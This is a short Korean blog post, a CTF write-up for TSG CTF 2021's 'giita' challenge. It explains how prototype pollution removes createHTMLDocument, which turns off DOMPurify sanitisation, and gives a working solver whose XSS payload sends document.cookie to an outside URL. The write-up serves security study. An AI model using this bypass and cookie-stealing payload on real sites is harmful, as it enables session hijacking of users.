본문 바로가기
대회

[TSG CTF 2021] giita (dompurify bypass via prototype pollution)

by jskimm 2022. 1. 11.
728x90

2가지 버그가 존재합니다.

  1. theme verification 에 공백 %0b 들어감
  2. dompurify 내부 DOMPurify.isSupported 가 꺼지면 domprufiy disable 할 수 있음

isSupported 는 다음과 같이 DOM 상태를 몇 가지 검사한 뒤 결정되는데

https://github.com/cure53/DOMPurify/blob/main/src/purify.js#L156-L160

DOMPurify.isSupported =
    typeof getParentNode === 'function' &&
    implementation &&
    typeof implementation.createHTMLDocument !== 'undefined' &&
    documentMode !== 9;

implementation.createHTMLDocument 가 undefined 이면 Dompurify 를 disable 할 수 있습니다.

따라서 첫 번째 Bug 을 이용하여 Prototype Pollution을 이용해 delete document.implementation.__proto__.createHTMLDocument 이용하여 해당 attribute 를 제거하면, 정상적으로 XSS 를 트리거할 수 있습니다.

 

Solver

axios({
    method: 'post',
    url: `https://webhook.site/cae1e2cf-8181-4a5c-9ae3-a52dfff64af5/`,
    headers: {
        'content-type': 'application/x-www-form-urlencoded',
    },
    data: qs.encode({
        theme: 'x onerror=delete\xA0document.implementation.__proto__.createHTMLDocument ',
        title: 'x',
        body: `<img src="x" onerror="location.href = '${url}?' + document.cookie">`,
    }),
});

 

728x90

댓글